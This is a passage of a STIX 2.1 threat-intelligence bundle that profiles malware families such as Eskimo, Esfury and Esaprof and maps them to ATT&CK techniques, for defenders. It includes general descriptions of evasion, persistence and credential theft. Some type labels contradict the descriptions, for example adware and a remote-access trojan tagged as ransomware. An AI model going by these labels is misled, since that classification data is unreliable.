      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erbon exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9a78d8c2-daf8-5eb5-b6c8-8ea59f700e5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eroyee",
      "description": "Trojan:Win32/Eroyee is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Eroyee</b><br>To an end-user, an Eroyee infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Eroyee is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Eroyee is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Eroyee frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Eroyee reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eroyee",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eroyee"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--296b7d56-14b5-5e4d-99d7-4f20ce013cfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a78d8c2-daf8-5eb5-b6c8-8ea59f700e5b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eroyee exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9d199b3-a656-509a-ba28-bf92d3e2e444",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a78d8c2-daf8-5eb5-b6c8-8ea59f700e5b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eroyee exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e561fd9-67f1-5eb5-a790-7823f94442c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a78d8c2-daf8-5eb5-b6c8-8ea59f700e5b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eroyee exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--646ba751-cb5f-5fca-ac0c-c3e12b76c044",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a78d8c2-daf8-5eb5-b6c8-8ea59f700e5b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eroyee exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e1cff9a-af17-5aa5-9d23-316cd92ff9af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a78d8c2-daf8-5eb5-b6c8-8ea59f700e5b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eroyee exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--73352c96-a581-53c2-8fcb-bdcde1bd9157",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Esaprof",
      "description": "<h3>Executive Summary</h3>\nEsaprof is a prevalent family of Adware and Potentially Unwanted Programs (PUPs) engineered to aggressively monetize an infected user's web browsing activity. It operates by altering browser configurations, injecting intrusive advertisements into web traffic, and covertly tracking user behavior, leading to significant degradation in system performance and user privacy.\n\n<h3>Distribution and Technical Behavior</h3>\nEsaprof is almost exclusively distributed via deceptive software bundling. Users inadvertently infect their systems when downloading \"free\" software from third-party download portals, where Esaprof is silently installed in the background via pre-checked installation options.\n\nOnce active, Esaprof deeply integrates with installed web browsers (Google Chrome, Firefox, Edge). Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> Forcibly altering the default search engine, homepage, and new tab settings to redirect all traffic through an affiliate-linked search portal controlled by the adware operators.</li>\n<li><strong>Traffic Interception and Injection:</strong> Esaprof frequently installs a local proxy server or malicious browser extensions to intercept unencrypted web traffic, overlaying legitimate websites with intrusive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> Continuously tracking the user's browsing history, search queries, and clickstreams to serve highly targeted advertisements and to sell this telemetry to data brokers.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Esaprof does not encrypt files or act as a remote access trojan, it introduces significant operational friction and risk. The injected advertisements are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections, such as ransomware.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear hijacked search and homepage configurations.</li>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Esaprof executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that frequently bundle adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Esaprof",
        "PUP.Esaprof",
        "BrowserModifier.Esaprof"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Esaprof",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/esaprof"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16d3cb48-feca-5175-98cb-9ace1874c74f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73352c96-a581-53c2-8fcb-bdcde1bd9157",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esaprof exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41c7585f-be18-515c-a29a-2b91e57e808d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73352c96-a581-53c2-8fcb-bdcde1bd9157",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esaprof exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--287df743-dc15-5762-bff7-74cc2cfe58d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73352c96-a581-53c2-8fcb-bdcde1bd9157",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esaprof exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37f28861-bec5-5000-9018-e5115bd70aed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Esendi",
      "description": "<h3>Executive Summary</h3>\nEsendi is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nEsendi is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Esendi operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Esendi ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Esendi receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Esendi infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Esendi executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Esendi frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Esendi",
        "Downloader.Esendi",
        "Win32/Esendi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Esendi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/esendi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53b4b122-d5e9-5101-8b65-2510ed8015b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37f28861-bec5-5000-9018-e5115bd70aed",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esendi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69881018-2303-5ca8-8777-80ff881cfd1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37f28861-bec5-5000-9018-e5115bd70aed",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esendi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da4346ac-2a09-596d-8554-24dfd582931c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37f28861-bec5-5000-9018-e5115bd70aed",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esendi exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d56e17fa-c7ed-5b5a-883d-ac74e444340c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Esfury",
      "description": "<h3>Executive Summary</h3>\nEsfury is a targeted Information Stealer (Info-Stealer) primarily focused on extracting FTP credentials, email logins, and stored web browser passwords from compromised Windows systems. Unlike highly sophisticated banking trojans that inject code into web browsers, Esfury operates as a quieter, \"smash-and-grab\" utility favored by cybercriminals for rapid credential harvesting and subsequent server compromise.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nEsfury is typically distributed via malicious email attachments (often masquerading as invoices or shipping documents) or bundled within cracked software available on torrent networks.\n\nUpon execution, Esfury initiates a rapid, localized search for high-value credentials:\n<ul>\n<li><strong>FTP/Webmaster Targeting:</strong> Esfury specifically hunts for configuration files and saved passwords associated with popular FTP clients (like FileZilla, CuteFTP, or WinSCP). Stolen FTP credentials allow the attacker to deface websites, inject malicious code into legitimate web pages, or host further malware payloads.</li>\n<li><strong>Browser and Email Harvesting:</strong> The malware scans the registry and local AppData folders to extract saved passwords from major web browsers (Chrome, Firefox, Internet Explorer) and email clients (Outlook, Thunderbird).</li>\n<li><strong>Data Exfiltration:</strong> Once the data is harvested, Esfury typically encrypts the stolen information and transmits it to an attacker-controlled server, often utilizing a hardcoded SMTP server to email the stolen data directly to the threat actor.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Esfury infection poses a severe risk to an organization's external infrastructure. While the malware infects a local endpoint, the theft of FTP and webmaster credentials often leads directly to the compromise of the organization's public-facing websites or web applications, resulting in significant reputational damage and potential regulatory fines.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Infrastructure Credential Reset:</strong> If Esfury is detected, all passwords for internal and external FTP servers, web hosting control panels (cPanel/Plesk), and content management systems (WordPress) must be immediately rotated.</li>\n<li><strong>Local Password Reset:</strong> All user credentials saved in the affected endpoint's web browsers and email clients must be considered compromised and reset.</li>\n<li><strong>Endpoint Eradication:</strong> The malware itself is typically not heavily obfuscated and can often be removed by a reputable EDR or enterprise antivirus solution. Ensure a full system scan is completed to verify eradication.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.PWS.Esfury",
        "Spyware.Esfury",
        "Win32/Esfury"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Esfury",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/esfury"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--266ab6af-a9b8-5fea-a102-a03b152a0ea4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d56e17fa-c7ed-5b5a-883d-ac74e444340c",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esfury exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec9b38b7-bc1f-56f5-8961-fb0b3feabddb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d56e17fa-c7ed-5b5a-883d-ac74e444340c",
      "target_ref": "attack-pattern--ad44e68a-29e4-5d0a-8752-ef97772c6508",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esfury exhibits technique T1555.004 (Credentials from Password Stores: Windows Credential Manager)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5eb56155-c3e6-5e5e-ae71-d9a9ea7e60ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d56e17fa-c7ed-5b5a-883d-ac74e444340c",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esfury exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6b423c2-ae66-5607-8506-9e46201d7b2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d56e17fa-c7ed-5b5a-883d-ac74e444340c",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esfury exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--49a00786-34d7-54ca-9a12-c0f3880d1c26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eskimo",
      "description": "Backdoor:Win32/Eskimo is a persistent Remote Access Trojan (RAT) designed to provide attackers with covert, interactive control over a compromised system. True to its name, Eskimo focuses heavily on stealth and espionage, allowing operators to exfiltrate sensitive documents, monitor user activity, and maintain a long-term presence within a network without triggering traditional alarms (`T1059`).<br><br><b>Understanding Eskimo (Covert Backdoor)</b><br>To an end-user, the infection is entirely invisible. For an incident response team, the presence of Eskimo indicates a targeted attack or an advanced persistent threat (APT) scenario, where the adversary is prioritizing intelligence gathering and lateral movement over immediate, noisy monetization (like ransomware).<br><br><b>Execution and Covert Mechanics</b><br>Eskimo is typically delivered via highly targeted spearphishing campaigns or dropped after initial exploitation of a vulnerable web service. Upon execution, it employs advanced evasion techniques, often utilizing API unhooking or direct syscalls to bypass EDR monitoring (`T1562.001`). It establishes persistence covertly, sometimes utilizing DLL Search Order Hijacking (`T1574.001`) or WMI event subscriptions (`T1546.003`) rather than noisy Registry Run keys. It communicates with its C2 server using customized, encrypted protocols, often blending in with normal HTTPS or DNS traffic (`T1071.001`) to evade network intrusion detection systems.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the severe loss of confidentiality and intellectual property theft. Host-based IoCs require deep forensics: EDR alerts for anomalous DLL loads, unusual WMI activity, or legitimate processes (like `svchost.exe`) making unexpected network connections. Network IoCs are subtle, often manifesting as regular, low-volume 'beaconing' traffic to unknown IP addresses or domains with recently registered, anomalous names. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eskimo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eskimo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25cade8b-196f-5f7f-bd3c-efe0e6b9dc30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49a00786-34d7-54ca-9a12-c0f3880d1c26",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eskimo exhibits technique T1059 (Command and Scripting Interpreter (Providing covert shell access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd4921c2-81c7-557b-b939-95ff32ef11be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49a00786-34d7-54ca-9a12-c0f3880d1c26",
      "target_ref": "attack-pattern--4cac5ad8-9b35-5105-99ec-b9d2404aa582",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eskimo exhibits technique T1574.001 (Hijack Execution Flow: DLL Search Order Hijacking (Covert persistence mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d90e51fc-ed49-5783-9a86-72d68efddcd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49a00786-34d7-54ca-9a12-c0f3880d1c26",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eskimo exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Blending C2 traffic with normal HTTPS))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc774941-0e4b-5630-af8e-ee1fe00fcccf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49a00786-34d7-54ca-9a12-c0f3880d1c26",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eskimo exhibits technique T1005 (Data from Local System (Covertly searching for and staging sensitive files))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--836ba247-eb80-54f8-93ce-15dcfb68cf68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Esprot",
      "description": "Trojan:Win32/Esprot is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Esprot</b><br>To an end-user, an Esprot infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Esprot is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Esprot is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Esprot frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Esprot reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Esprot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/esprot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecf05421-a1e3-5e43-9bdf-fd7b77262b62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--836ba247-eb80-54f8-93ce-15dcfb68cf68",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esprot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26a43cb3-08b7-527e-8bca-acf13bffc2ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--836ba247-eb80-54f8-93ce-15dcfb68cf68",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esprot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7a806a0-fae8-5757-bf06-c135527a145a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--836ba247-eb80-54f8-93ce-15dcfb68cf68",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esprot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04fa72e1-6e8f-56c9-ab82-1202e7e3c7e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--836ba247-eb80-54f8-93ce-15dcfb68cf68",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esprot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a65b06c-8c17-5df4-8e05-7744fc110f31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--836ba247-eb80-54f8-93ce-15dcfb68cf68",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Esprot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--94d629c9-58d1-51f2-b6ba-43f8fdc9c998",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Estapa",
      "description": "Trojan:Win32/Estapa is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Estapa</b><br>To an end-user, a Estapa infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Estapa is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Estapa is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Estapa frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network 